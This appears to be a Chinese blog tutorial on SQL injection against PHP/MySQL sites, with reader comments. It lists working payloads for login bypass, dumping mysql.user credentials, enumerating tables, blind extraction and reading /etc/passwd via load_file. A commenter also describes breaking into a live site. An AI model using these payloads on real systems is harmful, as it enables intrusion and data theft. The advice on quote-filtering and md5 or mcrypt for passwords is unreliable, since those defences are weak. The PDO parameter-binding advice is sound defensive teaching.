Sql Injection 应该可以说是目前网路上,骇客最常用的攻击方式,因为攻击方式简单,又不需要使用任何软体,或是自行撰写程式。讲到 SQL,就要提到资料库,大多数的网站都会安装资料库伺服器(Database),其实 Database 并不是什么可怕的东西,Database 的功能就是将资料依序储存下来,然后以最快的速度,找出你想要的资料,而在寻找资料之前,你必须输入 Database 指令,你输入的这串指令,我们就称为 SQL 语法。
Sql Injection 就是指 SQL 语法上的漏洞,藉由特殊字元,改变语法上的逻辑,骇客就能取得资料库的所有内容,当然也包含了会员的帐号,密码,下面就举一个SQL登入漏洞:
一个有会员登入功能的网站,都会需要输入帐号与密码来进行验证
而后端程式,如 PHP 就必需支援相关的登入检查,判定 User 输入的帐号、密码是否正确,来确定登入是否成功 ,PHP 执行的 SQL 语法如下,这是一个简单的 SQL 语法,主要功能是从 members 这个资料表中,取出符合 User 所输入帐号与密码的会员资料。
select * from members where account='$name' and password='$password'
但若是骇客输入有特殊字元的帐号:「 ' or 1=1 /* 」,密码:「任意值」
这时SQL语法就会变成:
select * from members where account='' or 1=1 /*' and password=''
因为「/*」在 MySQL 语法中代表注解的意思,所以「/*」后面的字串通通没有执行,而这句判断式「1=1」永远成立,骇客就能登入此网站成功。
SQL 语法的注解
SQL 注解的语法有以下三种,不同的 SQL 版本,会吃不同的语法。
- 「/*」 MySQL
- 「--」 MsSQL
- 「#」 MySQL , # 对於 browser 来说是有意义的,那是锚点的意思,所有必须先透过 Url Encode 后的代码 「%23」 来代替。
防护方式
Sql Injection攻击很简单,不过防护也不难,只要过泸字串「'」,即可,当然如果你的SQL语法写得很糟,保险的做法是过泸「' " 」等字串,并检查变数型态「数字、字元、字串」,另外会员的密码最好是经过加密,如 md5 或 Double md5 演算法加密,这样就能避免资料外泄时,密码也同时外泄,还有要特别注意,md5 目前已经有破解方式,改用 mcrypt 会是更好的加密方式。
PHP 过泸 SQL Injection 的语法:
$name = preg_replace("/[\'\"]+/" , '' ,$name);
- $str = "'\"";
- $replace = array("'" => "& #39;", "\"" => "& quot;"); //请自已把 & # , & q 中间的空白移除
- $str = strtr($str, $replace);
Sql Injection的攻击方式会因不同的资料库而有不同的语法, 如 MsSQL的注解是用 「--」MySQL的另一个注解是用 「#」。
SQL Injection 攻击
取得 Table name
如果网站连接 database 使用的帐号,有权限读取 INFORMATION_SCHEMA database,这样就能直接搜寻任何一个 table 名称,如
- [Oracle]: or EXISTS(SELECT 1 FROM dual WHERE database() LIKE '%xxx%') AND ''='
- [MySQL]: or EXISTS(SELECT * FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA like '%xxxx%') AND ''='
- union select%20host,user,password fROM mysql.user limit 1,1#
- union select engine, table_rows, table_name from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA not in ('information_schema') limit 1,1#
- union select host,db,user from mysql.db limit 1,1 #
取得所有资料库名称
- sqlInjection.php?id=1' union select distinct table_schema from information_schema.tables;
- sqlInjection.php?id=1' union select group_concat(table_schema) from information_schema.tables;
取得所有资料表名称
- sqlInjection.php?id=1' union select group_concat(table_name) from information_schema.tables--
一般来说,information_schema 这个资料库是没有权限读取的,尤其是市面上常见的虚拟主机,大部分的虚拟主机只能使用伺服器给的控制台来新增资料库,没办法透过程式读取所有的资料库,这时骇客们会开始用猜的方式,来取得资料表的名称,例如会员资料常会使用的 table 名称为 users , members 等等。
猜测 table name 的 SQL Injection 如下,使用 or exists(select 1 from members);
- sqlInjection.php?id=1' or exists(select 1 from members)/*
- sqlInjection.php?id=1' or exists(select 1 from admin)%23
- sqlInjection.php?id=1' or exists(select 1 from products)--
暴力猜测 Table Name
资料表的名称不一定都是英文单字,有些工程师会使用怪怪的命名,这时骇客还是可以使用暴力破解的方式,将 Table Name 拼出来。
SQL 有个 function : substring ,这个功能可以对字串做切割,骇客可以先将「字串」切割成一个字元。
接著使用 ord 将字元转成 Ascii Code ,然后去比对他的 Ascii Code 是否 = 32~ 127 , a = 97, b = 98
看一个范例,我要比对 information_schema.tables 第一笔资料的第一个 table_name ,其中的第一个字元。
- id=1' and 97=(select ord(substring(table_name, 1,1) from information_schema.tables limit 0,1)--
- id=1' and 98=(select ord(substring(table_name, 1,1) from information_schema.tables limit 0,1)--
- id=1' and 99=(select ord(substring(table_name, 1,1) from information_schema.tables limit 0,1)--
再看一个范例,我要比对 information_schema.tables 第一笔资料的第一个 table_name ,其中的第二个字元。
- id=1' and 97=(select ord(substring(table_name, 2,1) from information_schema.tables limit 0,1)--
- id=1' and 98=(select ord(substring(table_name, 2,1) from information_schema.tables limit 0,1)--
- id=1' and 99=(select ord(substring(table_name, 2,1) from information_schema.tables limit 0,1)--
取得 MySQL 资料库相关讯息
取得连线帐号 user()
- sqlInjection.php?id=1' select 1,2,user()/*
取得 Mysql 版本 version()
- sqlInjection.php?id=1' select 1,2,version()/*
读取系统档案内容
透过 mysql 的 method 「load_file」,骇客就能轻易取得网站的档案内容。
- union select 1,2,load_file('/etc/passwd')
使用 PDO 防止 SQL Injection
http://us3.php.net/manual/en/book.pdo.php
PDO 是一个可以 query 资料库的程式,我们能够透过 PDO 连到 Mysql server,重要的是 PDO 有提供 SQL Injection 的防护机制,使用 bindValue 的方式,PDO 会自动检查数据格式,并转换特殊字元,再将 User Input 填入 SQL 语法中。
- $db = new PDO ("mysql:dbname=test;host=localhost;port=3306", 'username', 'password', array( PDO::MYSQL_ATTR_INIT_COMMAND => 'SET NAMES \'UTF8\''));
- $sth = $db->prepare('select * from table where id =:id and title= :title ');
- $sth->bindValue(':id', $_GET['id'], PDO::PARAM_INT);
- $sth->bindValue(':title', $_GET['title'], PDO::PARAM_STR);
- $sth->execute();
- $sth->fetch(PDO::FETCH_ASSOC);
- PDO::PARAM_INT 数字
- PDO::PARAM_STR 字串
目前回應 Comments(15 comments)
狼圖騰 2016/11/29
回覆你的留言
Reply我覺得兩個都可以做 (跳脫函式或bind + NCR)
即使 NCR 那邊達到跳脫的效果,至少有幾點是比較好的:
1. 你有照文件的規格去寫。就像你開發的東西也希望別人照你的方式去寫一樣。
2. NCR 與此函式並不衝突。
-----------------------------
文件那邊的
$name = preg_replace("/['"]+/" , '' ,$name);
其實也最好改用 mb_ereg_replace...
UTF-8 其實是不會出事, big5 專案怕的是中文字含有單引號或雙引號的 ascii 碼就這樣被拆掉了
Admin
感謝提醒,我比較少考慮 Big5 的問題,因為我一接觸程式沒多久,UTF-8 就已經出現了,為了處理許功蓋先生留下的問題,我開發的程式,都已經全面使用 UTF-8 ,目前傾向開發人員不要再使用 Big5 編碼的文件/資料庫,最好是都改用 UTF-8 ,這樣可以減少很多編碼的問題。
狼圖騰 2016/09/21
不管是不是 PDO, PHP 資料庫都有提供一個函式提供跳脫
Reply一定要呼叫那個函式 (例如使用 mysql_connect 的相關函式就是 mysql_real_escape_string, PDO 的話就是本文寫的 bindParam 或是 $dbh->quote 函式)
其實有二個很重要的理由如下
1. 跳脫規則會隨著資料庫類型改變
MySQL 使用 ' 跳脫,其它資料庫使用 '' 跳脫。使用相關函式會幫你改變相對應規則。
2. PHP 的字元類型實際上是 bytes 類型,資料庫字元類型實際上是真的字元類型
試試下面的程式碼 (此例子為 big5 或是 gbk 編碼環境,不適用於 UTF-8)
header('Content-Type: text/plain; charset=big5');
echo addslashes("xbfx27"); // 企圖將所有 單引號、雙引號、反斜述 前面加上反斜線以跳脫問題
// 結果會印出 璞'
問題在於 PHP 的字元型態是 bytes, 對於 xbfx27 會把它當成兩個字看。然後跳脫完成變成 xbfx5cx27
送進資料庫時,xbfx5c 為一個字元 (因為 big5 或是 gbk 編碼),不會把後面的 x5c (反斜線) 當成脫跳字元看待。然後後面的 x27 ('單引號) 就很神奇的發揮作用了
--------------------------------------
可能還有其它的問題,我想表達的是,
資料庫函式一定有提供一個函式來解決注入問題。
請各位不要自己自作聰明開發相對應方法,
確實看清楚資料庫文件手冊並確實地呼叫這些對應函數。
(如果你有用 PHP Framework 的話一樣要看清楚相對應手冊)
Admin
官方提供的方式也不一定安全,有些狀況,官方會認為開發人員自已也要懂 Security ,工程師自已製造的洞,官方也不會理你的 ,像跳脫字元,我個人就覺得是一個很不安全的處理方式,如果你存了一個 (跳脫字元+雙引號) 進資料庫,那麼你再用 SQL Query 從資料庫拿出來,最後你拿到的資料到底是什麼?,還有你後續對這筆資料的處理也要非常小心,因為他存在 " 雙引號,這些都增加了軟體工程師的負擔,每寫一行 code ,都要思考各種極端狀況。
我的文章會提到 NCR ,直接把 " ' 轉成 &#xxx; 這種 NCR 格式,就是不希望後端工程師在做資料處理的時候,還會遇到單/雙引號的問題,而 NCR 在網頁上的顯示會是正常的單/雙引號,所以並不會影響到用戶,這招算是比較爆力的解法,當然直接轉 NCR 這個方法是有些限制的,例如你要確認後端的資料搜尋是否需要支援單/雙引號 ( ' 會影響到搜尋 39 這個數字的結果)。
菲 2016/02/15
更正~
Reply原資料庫的設定為 latin1, 要把資料全數轉到 utf8 的資料庫
Admin
資料庫設定 latin1 ,不代表你存進去的文字編碼就是 latin1 ,有可能你存進去的文字其實是 Big5 編碼。
可以先用 mysqldump 把資料表內容存在一個檔案裡:
例如: mysqldump -hlocalhost -uroot --add-drop-database --database test --table book --default-character-set=latin1 -p > tmp
再來編輯 tmp 檔案,將所有的 CHARSET=latin1 改成 CHARSET=utf8
接著你要先檢查你存進資料庫的中文字到底是 Big5 還是 UTF8 編碼,確定編碼方式後,才能執行下面的編碼轉換:
如果你的中文是用 Big5 存進 latin1 資料庫,那麼你要用指令 iconv -f big5 -t utf8 tmp > new.sql 來轉換文字編碼,我猜你的資料庫應該會是這一種。
菲 2016/02/15
不好意思, 在這問其他類型問題, 還請高人指點!!
請問, 要如何將原編碼為 big5的資料庫轉到另一編碼為 utf8的資料庫?
菲 2016/01/03
請問~
Reply使用此方法是否會讓頁面跑的比較慢?
另外, 是否需要將如 $query = $db->prepare(""); 的 $query 關閉?
還有, 是否也需要在結尾也將開啟的資料庫也關閉, 如設定 $query = null;
Admin
1. 頁面跑的慢不慢跟 SQL 語法寫得好不好比較有關系, PDO 不會影響太多效能。
這篇文章有 PDO 效能測試的數據
http://archive.jnrbsn.com/2010/06/mysqli-vs-pdo-benchmarks
2. 一般的用法 PDO 是要關閉,用 $dbh = null ,但是如果使用 persistent connections 就可以不用關閉。
$dbh = new PDO('mysql:host=localhost;dbname=test', $user, $pass, array(
PDO::ATTR_PERSISTENT => true
));
菲 2015/12/25
上次的問題解決了, 謝謝@@
Reply又來請教了!!
$num_float = "2.5";
其中要存入的資料是浮動變數, 那 PDO::PARAM_INT 是否正確?
$updods->bindParam(1, $num_float, PDO::PARAM_INT);
Admin
菲 2015/12/22
不好意思, 又來打擾了!!
Reply在網路上有看到要讀取資料的筆數寫法如下:
$sth=$db->prepare("select count(*) from product where id=2");
$sth->execute();
$rowCount=$sth->fetchColumn();
但依此法試了, 仍無法讀取筆數???
Admin
這只是單純的 SQL 語法,語法本身看起來沒問題,程式的部分我有幫你測試過,也是正常的。
如果 id = 2 有一筆資料,那麼 $rowCount 會得到 1
不過你是不是要用這個 SQL 語法 select count(*) from product ,才能拿到整個 table 的筆數。
菲希雅 2015/12/15
請問~
Reply$query = $db->prepare("select title,con from table where title like ?");
當中有使用 like , 值要怎麼帶入?
Admin
第一個 ? 代表 index 1 , 第二個 ? 代表 index 2, bindValue 的時候使用數字 1, 2, 3, 4 即可
範例如下:
$query = $db->prepare("select title,con from table where title like ?");
$query->bindValue(1, '%xxxxx%', PDO::PARAM_STR);
菲 2015/11/26
再請問, 有在網路上看到寫 "PHP 5.1以後才可以用PDO", 那我們的版本是 4, 不就不能使用了?
ReplyAdmin
網路上可以查到 PHP 4 用的 PDO 版本
例如 : http://www.phpclasses.org/package/2572-PHP-PDO-database-abstraction-interface-for-PHP-4.html
菲 2015/11/26
但如果php的版本是4, 直接用 intval() 或 addslashes() 囉?
ReplyAdmin
建議用這種方式,直接把單引號、雙引號轉成 numeric character reference (NCR) ,
$str = "'"";
$replace = array("'" => "'", """ => """);
$str = strtr($str, $replace);
或是用文章中提到的 PDO Library http://php.net/manual/en/book.pdo.php
charles 2014/06/25
目前所知許多網站相關的SQL注入弱點都已經防堵了,請問一下你有相關的免費測試軟體(SQL注入)
Reply或網站資源可提供測試嗎?
Admin
charles 2014/06/03
請問一下,aspx SQL Injection 的手法如何? 可提供相關的經驗並且介紹一下嗎?謝謝!!
ReplyAdmin
Database 有很多種,一種是 Mysql 常搭配 apache 一起使用,還有一種是 Mssql 常搭配 IIS , asp 一起使用,我想你問的是 Mssql 的 SQL Injection 吧?
Volar 2014/02/22
學習了!!!
George 2013/11/07
我之前學習相關課程時,就在一些知名網站試過類似的SQL Injection,有個大網站還真的被入侵成功了,我寄e-mail去通知他們,結果他們竟然沒有理會= =+,一直到現在還是一樣~這些人對資安的觀念實在是無言...
ReplyAdmin
不要怪他們!! 台灣在這方面還蠻落後的, 我也曾經年少不懂事過,寫過很多有漏洞的程式,這幾篇文章,是希望大家對於網頁安全性方面能夠有所提升。
版大你好 2013/11/06
版大對於SQL注入 整理的不錯
Reply不過 可否請問一下 如何知道 上面輸入的指令碼
交給資料庫時 又是如何解釋? (我非常想要知道)
可以自己安裝資料庫,自己測試嗎?
我想每個資料庫 對於指令碼的解釋 應該會不同
還有最後一點 我也想要知道 SQL注入是否可以完全過濾掉?
Admin
1. 安裝資料庫並不難,在 windows 下,你可以安裝 xampp + phpmyadmin,就可以透過 Browser 去操作 SQL 語法。